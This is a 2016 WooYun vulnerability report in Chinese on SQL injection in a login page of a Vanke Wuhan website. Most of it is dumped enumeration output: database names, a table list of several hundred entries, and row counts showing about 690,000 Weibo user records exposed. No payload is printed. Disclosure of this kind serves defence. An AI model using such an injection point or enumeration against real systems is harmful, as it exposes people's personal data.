当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171039

漏洞标题:武汉万科SQL注入可致70万微博用户信息泄露

相关厂商:万科集团

漏洞作者: abb

提交时间:2016-01-19 11:50

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-22: 厂商已经确认,细节仅向厂商公开
2016-02-01: 细节向核心白帽子及相关领域专家公开
2016-02-11: 细节向普通白帽子公开
2016-02-21: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/default/


11.png


**.**.**.**    **.**.**.**


12.png


http://**.**.**.** /app/login.asp?work=UserLoginCk


13.png


current user:    'vankehui'
current database: 'vankehui'


available databases [14]:
[*] aaa
[*] apptest
[*] distribution
[*] master
[*] model
[*] msdb
[*] tempdb
[*] VankeAgenSMS
[*] vankeapp11
[*] vankehui2012
[*] VankeSMS
[*] VankeStat2009
[*] VankeStatHistory
[*] VankeStatistic


Database: vankehui
[707 tables]
+------------------------------------------+
| 2010May |
| 51teambuylist |
| 8YearsSeason5 |
| 8YearsSeason6 |
| Action_new10_2013 |
| ActiveGift2009Order |
| ActiveGift2009Product |
| ActivityCy |
| Activityjl |
| AdminUserLoginHistory |
| AdminUserLoginHistory |
| Admin_Role |
| Admin_Role |
| AdsGateway |
| AdsOutClass |
| AdsOutList |
| AllocationTo |
| ApplyIntegral |
| ArborDay2010 |
| ArborDay2011 |
| AuctionDemo |
| AuctionHistory |
| AuctionLang |
| Auction_Ware |
| AuthorList |
| BBSIDlist |
| BabyDiaryList |
| BabyDiaryList |
| BabyDiaryView |
| BabyList |
| BabyListView |
| BabyShow |
| BabyShowView |
| BabyShowVote |
| BaishazhouVote |
| BaoXiuMail |
| BaoXiuMail |
| BigBang2012_act01 |
| Blessing |
| BookShopMemberOrder |
| BookShopMemberOrder |
| BookShopUserOrder |
| BookShopUserOrder |
| Carnival2008 |
| ChangePresent |
| ChefVote |
| ChildrenDay2012_weibo_repost |
| ClassList |
| Complaints |
| ContactLog |
| CountApplyIntegral |
| CrossOver |
| Dv_Appraise |
| Dv_BbsLink |
| Dv_BbsNews |
| Dv_BestTopic |
| Dv_BoardPermission |
| Dv_BoardPermission |
| Dv_Boke_KeyWord |
| Dv_Boke_Post |
| Dv_Boke_Skins |
| Dv_Boke_SysCat |
| Dv_Boke_System |
| Dv_Boke_Topic |
| Dv_Boke_Upfile |
| Dv_Boke_UserCat |
| Dv_Boke_UserCat |
| Dv_Boke_UserSave |
| Dv_BookMark |
| Dv_ChallengeInfo |
| Dv_ChanOrders |
| Dv_Friend |
| Dv_GroupName |
| Dv_GroupUser |
| Dv_Group_Board |
| Dv_Group_Class |
| Dv_Group_Topic |
| Dv_Group_bbs |
| Dv_Log |
| Dv_Message |
| Dv_MoneyLog |
| Dv_Online |
| Dv_Plus_Tools_Buss |
| Dv_Plus_Tools_Buss |
| Dv_Plus_Tools_Info |
| Dv_Plus_Tools_MagicFace |
| Dv_Qcomic |
| Dv_Setup |
| Dv_SmallPaper |
| Dv_Space_skin |
| Dv_Space_user |
| Dv_StyleHelp |
| Dv_TableList |
| Dv_Templates |
| Dv_Topic |
| Dv_Upfile |
| Dv_UserAccess |
| Dv_UserAccess |
| Dv_UserGroups |
| Dv_Usertemp |
| Dv_Vote |
| Dv_VoteUser |
| Dv_admin |
| Dv_bbs2 |
| Dv_bbs3 |
| Dv_bbs4 |
| Dv_bbs5 |
| Dv_bbs6 |
| Dv_bbs7 |
| Dv_bbs8 |
| Dv_bbs9 |
| Dv_help |
| ElementsReg2 |
| ElementsReg2 |
| Event2014_WordCup_Dictionary |
| Event2014_WordCup_QuizConfing |
| Event2014_WordCup_QuizList |
| Event2014_WordCup_QuizResult |
| Event2014_WordCup_Schedule |
| Event2014_WordCup_Teamlist |
| Event2014_WordCup_User |
| Event2014_WordCup_goodsexchange |
| Event2014_WordCup_goodsexchange |
| Event2014_WordCup_score |
| Event2015_App_Redpack_Scores |
| Event2015_App_Redpack_Users |
| Event2015_SignUp |
| Event_2011ChoujCy_Gg |
| Event_2011ChoujCy_Gg |
| Event_2011ChoujCy_message |
| Event_2012_YunJing_ProductList |
| Event_2012_YunJing_StageList |
| Event_201361_Gift |
| Event_201361_Info |
| Event_2014cup_Imgdata |
| Event_2014dzp_info |
| Event_2014dzp_neibu |
| Event_2014dzp_prize |
| Event_2014music_info |
| Event_2014music_info |
| Event_Ad20130618 |
| Event_Charm66JoinMember |
| Event_Christmas2012Log |
| Event_Christmas2012Prize |
| Event_Dance2011 |
| Event_Dream2011 |
| Event_GoldCity2012_renchou |
| Event_GoldCitySOHO2012 |
| Event_GoldenCityad07172012 |
| Event_Groupon2011Mail |
| Event_Groupon2011Mail |
| Event_GrouponInfo |
| Event_HKLegend_AnswerPeopleList |
| Event_HappyIsland2012 |
| Event_HappyIsland2012Xls |
| Event_HappyPinglun_2011 |
| Event_HappySend2012_Member |
| Event_HappySend2012_Member |
| Event_HappySend2012_Readytobuy |
| Event_HappySign_2011 |
| Event_HappyVoteInfo_2011 |
| Event_HappyVote_2011 |
| Event_HotGuest |
| Event_Jscsask1108 |
| Event_LoveVanke_2011 |
| Event_MLXC_2014 |
| Event_Mather2011 |
| Event_MatherRemainSay |
| Event_MothersDayVideo |
| Event_Movie2014_List |
| Event_Movie2014_MoiveArea |
| Event_Movie2014_votelog |
| Event_NewYear2014_JoinList |
| Event_NewYear2014_PrizeList |
| Event_Olympic2012_jl |
| Event_Olympic2012_jl |
| Event_Pal |
| Event_PrivateHomeCuisine2013_JoinList |
| Event_PrivateHomeCuisine2013_MessageList |
| Event_PrivateHomeCuisine2013_NumberList |
| Event_PrivateHomeCuisine2013_VoteList |
| Event_RegisterMember_jylw |
| Event_ScratchLog |
| Event_ServiceStar2013_PriceLog |
| Event_ServiceStar2013_PriceLog |
| Event_ServiceStar2013_PriceSet |
| Event_ServiceStar2013_VoteLog |
| Event_SingerOnline2012 |
| Event_Sunruixue2012 |
| Event_TheWorldCupGame |
| Event_TheWorldCupGuessRecord |
| Event_TheWorldCupJoinMember |
| Event_Tuan_QuestList |
| Event_Tuan_UserWeiboKeyWord |
| Event_Tuan_UserWeiboList |
| Event_Vmovie2012_Msg |
| Event_Vmovie2012_Prize |
| Event_VppWork2 |
| Event_VppWork2 |
| Event_bookproject_2013 |
| Event_dengji_zyw_2015 |
| Event_dianyingzhan2012 |
| Event_education2013 |
| Event_guanggu2013_News |
| Event_guanggu2013_News |
| Event_guanggu2013_Score |
| Event_guanggu2013_Type |
| Event_guojifan_2012 |
| Event_hanyanglovePinglun_2012 |
| Event_hanyanlove_2012 |
| Event_happiness_info |
| Event_happiness_log |
| Event_hkcoffee_2013 |
| Event_hkcqdj_2013 |
| Event_hygjLove_2012 |
| Event_jiayou2011 |
| Event_jiayuan_2014 |
| Event_jscschoujiang2012 |
| Event_jscsdj_2013 |
| Event_lyric_2012 |
| Event_mdl2013Gezi |
| Event_mdl2013PrizeLog |
| Event_mdl2013PrizeLog |
| Event_mdl2013PrizeRound |
| Event_mdl2013PrizeUser |
| Event_qiangpiao2014_Records |
| Event_qianren2013 |
| Event_tuangou10_2011 |
| Event_valentine2012 |
| Event_viGuessRecord |
| Event_viTheWorldCupJoinMember |
| Event_wing2013Extra |
| Event_wing2013Extra |
| Event_wing2013Normal |
| Event_wkjc_2013 |
| Event_wxjf_book |
| Event_wxjf_bookset |
| Event_zaiyiqi_2014 |
| Experience08 |
| FeiChengWuRaoVote |
| FeiChengwuraoGuest |
| FromList |
| Functiones |
| FundListCount |
| FundListCount |
| FundListView |
| Fundadd |
| Games2008MC |
| Games2008MC |
| Games2008Open |
| GiftMall |
| GiftSendedDetail |
| GoldMedal2008Guess |
| GoldenCityReg2 |
| GoldenCityReg2 |
| GoldenHomeLoft |
| Golden_banner2012 |
| Golden_integral |
| Golden_present2012 |
| Golden_userInfo2012 |
| Goldmedal2008End |
| GolfCollegePic |
| GolfCollegeVote |
| GolfReg |
| GolfSpring2009Config |
| GolfSpring2009Config |
| GreenBookSeat |
| HanYangGuoJiDengGi2013 |
| HappySummerReg |
| HomePro2009 |
| HouseCenterArea |
| HouseCenterArea |
| HouseCenterCase |
| HouseCenterList |
| InsertList |
| IpodGift |
| IpodGiftSeat |
| Jindu |
| JobList |
| JobMail |
| JobReplyList |
| JobReplyList |
| LD_User |
| Laisee |
| LaiseeSeat |
| Links |
| LivingPodThree |
| LivingPodVote |
| LivingpodEight |
| LivingpodFive |
| LivingpodFour |
| LivingpodNine |
| LivingpodSeven |
| LivingpodSix |
| LivingpodTwo |
| LoginLock |
| LoginWrongLog |
| LotteryAward |
| LotteryJoinList |
| LotteryListView |
| LotteryProduct |
| LoveStory_2012 |
| ML_GroupBuy |
| ML_GroupVote |
| MaYiReg |
| MagazineOrderList |
| MagazineOrderList |
| MagazineVote |
| MailList |
| ManagementFeePrintHistory |
| ManagementFeePromotions |
| MarketAnalysisGroup |
| MarketAnalysisGroup |
| MarketAnalysisImport |
| MarketAnalysisIndex |
| MarketAnalysisList |
| MarketAnalysisUser |
| MarketCenter |
| MemberActiveScores |
| MemberBBSInfo |
| MemberCaseCount |
| MemberCaseCount |
| MemberCaseUpdate |
| MemberComplaintDetail |
| MemberComplaintDetail |
| MemberDele |
| MemberDelivers |
| MemberGoldenTypeHistory |
| MemberImport |
| MemberInfoChangeList |
| MemberSatisfaction |
| MemberUpdateGolden |
| Member_Birthday |
| Member_Birthday |
| Membercaseurl |
| More2008 |
| More2008Vote |
| Music2009_Form |
| Music2009_FormView |
| News_Keyword |
| News_Keyword |
| News_Speciality |
| News_Template |
| NoticeCardPost |
| NoticeMaster |
| NoticeMemberCard |
| NoticeProduct |
| NoticePutUp |
| Order_2013_goods |
| Order_2013_goodtype |
| Order_2013_list |
| Order_2013_mingxi |
| Order_2013_part |
| Order_2013_qiandao |
| Order_2013_sysconfing |
| Order_2013_user |
| OrientalBookOrder |
| OrientalUser |
| P_VouchersMember |
| P_VouchersOrderList |
| P_VouchersOrderList |
| P_VouchersParent |
| P_VouchersProduct |
| ParadisoReg |
| Pioneer2009 |
| PioneerBookBus |
| PioneerBookBus |
| PioneerBookOrder |
| PioneerBookOrderTotal |
| PioneerFilmList |
| PioneerFilmList |
| PioneerFilmOrder |
| PioneerFilmVote |
| PioneerMobileJoin |
| PrizeThingsjyhf |
| PrizeThingsjyhf |
| ProjectPrice |
| ProjectProgress |
| RS_Song |
| RS_dvd |
| RecordSrch |
| SalesShow |
| SayLove_JoinMember |
| SayLove_Record |
| ScoresCycle |
| ScoresDetails_1 |
| ScoresDetails_1 |
| ScoresDetails_Before34 |
| ScoresDetails_Minus_1 |
| ScoresDetails_Minus_1 |
| ScoresDetails_bak20130701 |
| ScoresDetails_weibo_temp |
| ScoresDetails_weibo_temp |
| ScoresNegative |
| ScoresPrintHistory |
| Sgin_bbjx_dengji |
| Sgin_bbjx_votes |
| Sgin_movie2011_dengji |
| ShangJia_FAQ |
| ShangJia_FAQ |
| ShangJia_Product |
| Sheet1$ |
| Sign_taobao_2011 |
| Spring2009 |
| Spring2009vanke |
| TS_AdminFile |
| TS_AdminFile |
| TS_AdminLog |
| TS_BindingHistory |
| TS_BindingHistory |
| TS_ExamAnswer |
| TS_ExamAnswer |
| TS_ExamClass |
| TS_ExamQuestion |
| TS_Sales |
| TS_TeamManagerHistory |
| TS_TeamManagerHistory |
| TeamBuyList |
| TeamBuyList |
| TeamBuyReport |
| Ticket2007III |
| Ticket2007III |
| Ticket2007III |
| Ticket2007IIuser |
| Ticket2007ListIII |
| Ticket2007ListIII |
| Ticket2007ListIII |
| Ticket2008Movie |
| Ticket2008Movie |
| TouGao |
| Tuan_GameAlog |
| Tuan_LoginLog |
| Tuan_My_statuses_2013 |
| Tuan_My_statuses_repost_2013 |
| Tuan_proess_see |
| Tuan_user_2013 |
| Tuan_weibouser_2013 |
| Tuan_weibouser_Relation_2013 |
| UsersFunction |
| UsersFunction |
| UsonianReg2 |
| UsonianReg2 |
| VIEW1 |
| V_Event2014_WordCup_QuizList |
| V_Event2014_WordCup_Schedule |
| V_Order_2013_goods |
| V_Order_2013_list |
| V_Order_2013_mingxi |
| V_Order_2013_qiandao |
| V_Order_2013_user |
| V_PrivateHomeCuisine2013_MessageList |
| V_YunJing_Product_List |
| V_event_qprecord |
| V_qpuser2012 |
| V_sign_smilesListzy2012 |
| ValentineDay0214_record |
| VankeCityReg2 |
| VankeCityReg2 |
| VankeCompany |
| VankeDict |
| VankeLifeDetail |
| VankeLifeDetail |
| VankeMailLog |
| VankeSMSLog |
| VankeSmsBlack |
| View_AdminInfo |
| View_Birthday |
| View_Christmas2012Log |
| View_Event_Mdl2003PrizeLog |
| View_Event_QiangPiaoUser |
| VisitorComment |
| VoteAnswer |
| VoteQuestion |
| Vote_class |
| WorkHistory |
| Xmas2008Order |
| Xmas2008OrderStatu |
| Xmas2008Product |
| Xmas2008ProductTemp |
| Xmas2009Order |
| Xmas2009Product |
| Youth2 |
| Event_wing2013GUID |
| case |
| aaa |
| active2011_wenjuan |
| active2011_zhufucontent |
| active2011_zhufuuser |
| active_Ipad |
| active_message |
| active_singapore |
| ant2008 |
| assembly_reg |
| babyReview |
| badmintonVote_2011 |
| bbjx_dhjhj_2011 |
| bbjx_hyjhhj_2011 |
| bbjx_liuliang_2011 |
| bbjx_qmzhj_2011 |
| bbjx_tphdhj_2011 |
| bbjx_vksj_2011 |
| cheatsite |
| cms_AdvertClasses |
| cms_Adverts |
| cms_Authors |
| cms_DynamicTemplates |
| cms_Keyswords |
| cms_MailAddressTypes |
| cms_MailAddresses |
| cms_MailConfigs |
| cms_MailLogs |
| cms_NewsAgrees |
| cms_NewsAgrees |
| cms_NewsClasses |
| cms_NewsCommentAgrees |
| cms_NewsComments |
| cms_NewsPagings |
| cms_NewsSources |
| cms_NewsTemplates |
| cms_PageTemplates |
| cms_Specialities |
| cms_StaticTemplates |
| dengjiTB |
| diarycounts |
| dtproperties |
| dv_bbs1 |
| event_2012hygj_list |
| event_2012wkyfz_list |
| event_72hour_2012 |
| event_Olympic2012news_2012 |
| event_ValentineDay_2012 |
| event_WKmusic_2012 |
| event_classroom_2012 |
| event_dbzdj_2012 |
| event_dbzmusic_2012 |
| event_dbzno_2012 |
| event_gaojia |
| event_guolewujiang2011 |
| event_hygj2012_shitu |
| event_hygj2012_users |
| event_hygjganen2012_qiao |
| event_hygjganen2012_qiao |
| event_hygjganen2012_xy |
| event_hygjxxtp_2011 |
| event_lanwanchoujiang2014_info |
| event_lanwanchoujiang2014_prize |
| event_lpdxy_2012 |
| event_mooncake_2014 |
| event_qprecord |
| event_qpsite |
| event_qpuser2012 |
| event_qpuserlist |
| event_questionnaire_2012 |
| event_sdgyName_2012 |
| event_whvankesp_2012 |
| event_whvankeyd_2012 |
| event_xfjzjqc_2012 |
| event_ygxkfdj_2012 |
| event_ygxrs_2012 |
| game201102_user |
| game2011_user |
| goldmedal2008_temp |
| goldmedal2008_temp |
| hfweb_book |
| hfweb_colligate |
| hfweb_item |
| hfweb_vote |
| jQuestion |
| jiehun2012_votes |
| jilujyhf |
| jilujyhf |
| jinsekaipan2013 |
| jsfeedback_Participate |
| jsfeedback_default |
| jsfeedback_winning |
| jsgw2011_wenjuan |
| messages_2012 |
| motherday2012_weibo_repost |
| nQuestion |
| nickname |
| prizeUserjyhf |
| prizeUserjyhf |
| registerjyhf |
| registerwh |
| renchou |
| repostlist |
| repostscores |
| sagin_BigBang2012_app |
| sagin_BigBang2012_apptoupiao |
| sagin_whggkjscs_2012 |
| sgin_Answer2012 |
| sgin_BigBang2012 |
| sign_AprilFlower_2012 |
| sign_CarWash2012 |
| sign_Hongregin2011 |
| sign_RmalLife2012 |
| sign_baby2012zy |
| sign_baoming2011 |
| sign_gangxu2012 |
| sign_gunshi2012 |
| sign_guole2011 |
| sign_guole2011 |
| sign_haitong2012 |
| sign_jiehun2012zy |
| sign_neiding |
| sign_photo2012s |
| sign_prizeguole2011 |
| sign_regin2011 |
| sign_smilesListzy20121 |
| sign_smilesListzy20121 |
| sign_vMovie2012ZP |
| signup_WKfchdj_2011 |
| signup_WKhanyangguoji_2011 |
| signup_WKhongjunchengjuxi_2011 |
| signup_WKjinsechengshi_2011 |
| signup_WKqinshuiyouyue_2012 |
| signup_hygjhjxx1_2011 |
| signup_hygjhjxx2_2011 |
| signup_hygjxxdj_2011 |
| smile20121View |
| smilesPrize |
| smileszy2012_votes |
| spring2011 |
| sys_AccountLogs |
| sys_AccountRoles |
| sys_Accounts |
| sys_Dictionary |
| sys_Functions |
| sys_Logs |
| sys_RoleFunctions |
| sys_Roles |
| sys_SMSLog |
| tbl_AuctionClass |
| tbl_AuctionGoods |
| tbl_AuctionHuodong |
| tbl_AuctionRecord |
| tbl_merchantInfo |
| temp_Pal |
| temp_score |
| tsys_PageContentInsert |
| tsys_pageclass |
| tsys_pageclass |
| tsys_pagenews |
| tuan_money_log |
| tuanlinshi |
| tuanuserallcoutbytime |
| tuanuserallcoutbytime |
| tuanuserallcoutbytime |
| tuanusercoutbytime |
| tuanusercoutbytime |
| userdy |
| userdy |
| v_ChildrenDay2012_weibo_repost |
| v_HaiTong2012 |
| v_bbb1 |
| v_cccc |
| v_lishi |
| v_motherday2012_weibo_repost |
| v_tuan_money_log |
| vanke_My_statuses_repost |
| vanke_My_statuses_repost |
| view_AllNewsInfo |
| view_NewsInfo2 |
| view_NewsInfo2 |
| vip_ScoreGiftCycles |
| vip_ScoreGiftOrders |
| vip_ScoreGiftParts |
| vip_ScoreGifts |
| vks |
| vote_2012_info |
| vote_2012_info |
| vote_2012_info |
| votes |
| vw_Event2015_App_Redpack_Scores |
| vw_Event2015_App_Redpack_Users |
| vw_GoldMemberType |
| vw_MemberCase_Case_Last |
| vw_MemberCase_Last |
| vw_MemberSatisfaction |
| vw_MemberUpdate_Address |
| vw_MemberUpdate_Phone |
| vw_ScoresDetails |
| vw_cms_Adverts |
| vw_cms_MailAdresses |
| vw_cms_News |
| web_Process |
| web_Service |
| weibo_userrepost |
| wkh_weibo_user |
| wkh_weibo_user |
| wx_Activity |
| wx_ActivityRecords |
| wx_ActivityTemplates |
| wx_AnswerItems |
| wx_ApiUsers |
| wx_AppConfigs |
| wx_Apps |
| wx_Contacts |
| wx_FAQs |
| wx_GuestBooks |
| wx_Messages |
| wx_NewsResources |
| wx_PublicAccounts |
| wx_Qrcodes |
| wx_TemplateMessages |
| xfreg2011 |
| zk |
+------------------------------------------+


Database: vankehui
+----------------------------------------------+---------+
| Table | Entries |
+----------------------------------------------+---------+
| dbo.Tuan_weibouser_Relation_2013 | 831182 |
| dbo.Tuan_weibouser_2013 | 692951 |
| dbo.tuanuserallcoutbytime | 692951 |
| dbo.tuanuserallcoutbytime | 692951 |
| dbo.tuanuserallcoutbytime | 692951 |
| dbo.tuanusercoutbytime | 692951 |
| dbo.tuanusercoutbytime | 692951 |
| dbo.tuan_money_log | 570667 |
| dbo.v_tuan_money_log | 570667 |
| dbo.dv_bbs1 | 355900 |
| dbo.Dv_bbs8 | 276678 |
| dbo.MemberInfoChangeList | 261440 |
| dbo.Dv_bbs4 | 260292 |
| dbo.Dv_bbs7 | 227930 |
| dbo.Dv_bbs6 | 219426 |
| dbo.ScoresDetails_1 | 217358 |
| dbo.ScoresDetails_1 | 217358 |
| dbo.ScoresDetails_bak20130701 | 199731 |
| dbo.ScoresDetails_Before34 | 199360 |
| dbo.Dv_bbs3 | 180964 |
| dbo.vanke_My_statuses_repost | 177878 |
| dbo.vanke_My_statuses_repost | 177878 |
| dbo.Dv_Topic | 170695 |
| dbo.Dv_bbs2 | 170305 |
| dbo.SayLove_Record | 167832 |
| dbo.Dv_bbs5 | 138198 |
| dbo.Dv_Upfile | 121422 |
| dbo.Tuan_My_statuses_repost_2013 | 98413 |
| dbo.AllocationTo | 96653 |
| dbo.vw_ScoresDetails | 77189 |
| dbo.Member_Birthday | 76900 |
| dbo.Member_Birthday | 76900 |
| dbo.VankeSMSLog | 73727 |
| dbo.Event_PrivateHomeCuisine2013_VoteList | 73150 |
| dbo.BabyShowVote | 63700 |
| dbo.Tuan_LoginLog | 62581 |
| dbo.ProjectProgress | 61000 |
| dbo.MemberCaseCount | 60993 |
| dbo.MemberCaseCount | 60993 |
| dbo.MemberCaseUpdate | 60921 |
| dbo.vw_MemberCase_Case_Last | 58658 |
| dbo.vw_MemberCase_Last | 57773 |
| dbo.v_lishi | 57286 |
| dbo.Event_Tuan_UserWeiboList | 48059 |
| dbo.ScoresDetails_weibo_temp | 48011 |
| dbo.ScoresDetails_weibo_temp | 48011 |
| dbo.Dv_Log | 42506 |
| dbo.Event_GoldCity2012_renchou | 37410 |
| dbo.nickname | 36179 |
| dbo.MemberBBSInfo | 34455 |
| dbo.vw_MemberUpdate_Address | 33275 |
| dbo.vw_MemberUpdate_Phone | 33095 |
| dbo.event_qpuser2012 | 32992 |
| dbo.Dv_Appraise | 30619 |
| dbo.[Event_wing2013GUID ] | 30020 |
| dbo.V_qpuser2012 | 28226 |
| dbo.MemberActiveScores | 27422 |
| dbo.Event_happiness_log | 24745 |
| dbo.Dv_Message | 23592 |
| dbo.VankeSmsBlack | 21989 |
| dbo.Event_TheWorldCupGuessRecord | 18388 |
| dbo.Event_viGuessRecord | 18388 |
| dbo.MemberGoldenTypeHistory | 16214 |
| dbo.vw_GoldMemberType | 15452 |
| dbo.Jindu | 14218 |
| dbo.Dv_VoteUser | 13772 |
| dbo.tuanlinshi | 13035 |
| dbo.Event_HappySend2012_Member | 12950 |
| dbo.Event_HappySend2012_Member | 12950 |
| dbo.NoticePutUp | 11215 |
| dbo.MemberSatisfaction | 10446 |
| dbo.Tuan_user_2013 | 10363 |
| dbo.smileszy2012_votes | 10344 |
| dbo.Event2014_WordCup_QuizList | 9089 |
| dbo.V_Event2014_WordCup_QuizList | 9089 |
| dbo.MagazineOrderList | 8669 |
| dbo.MagazineOrderList | 8669 |
| dbo.ScoresDetails_Minus_1 | 8615 |
| dbo.ScoresDetails_Minus_1 | 8615 |
| dbo.AdsOutList | 7898 |
| dbo.LoveStory_2012 | 7884 |
| dbo.Dv_Usertemp | 7758 |
| dbo.vw_MemberSatisfaction | 7647 |
| dbo.Event_Olympic2012_jl | 6959 |
| dbo.Event_Olympic2012_jl | 6959 |
| dbo.BabyDiaryView | 6857 |
| dbo.BabyDiaryList | 6853 |
| dbo.BabyDiaryList | 6853 |
| dbo.Sgin_bbjx_votes | 6485 |
| dbo.Event_HappySend2012_Readytobuy | 6415 |
| dbo.event_qpuserlist | 6243 |
| dbo.Event2014_WordCup_score | 5866 |
| dbo.temp_score | 5865 |
| dbo.Dv_bbs9 | 5851 |
| dbo.view_AllNewsInfo | 5242 |
| dbo.LivingpodNine | 5153 |
| dbo.View_Event_QiangPiaoUser | 5129 |
| dbo.ParadisoReg | 5036 |
| dbo.Sgin_bbjx_dengji | 4967 |
| dbo.view_NewsInfo2 | 4740 |
| dbo.view_NewsInfo2 | 4740 |
| dbo.zk | 4475 |
。。。。。。。


692951新浪微博用户信息泄露

14.png


可跨库:
Database: VankeStat2009
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.address | 287912 |
| dbo.Origin_Page | 204924 |
| dbo.[View] | 78936 |
| dbo.Client | 58706 |
| dbo.Online | 1204 |
| dbo.Site | 4 |
+--------------------------------------------------+---------+


15.png

16.png


漏洞证明:

同上

修复方案:

过滤。。。。。。。

版权声明:转载请注明来源 abb@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-22 11:02

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无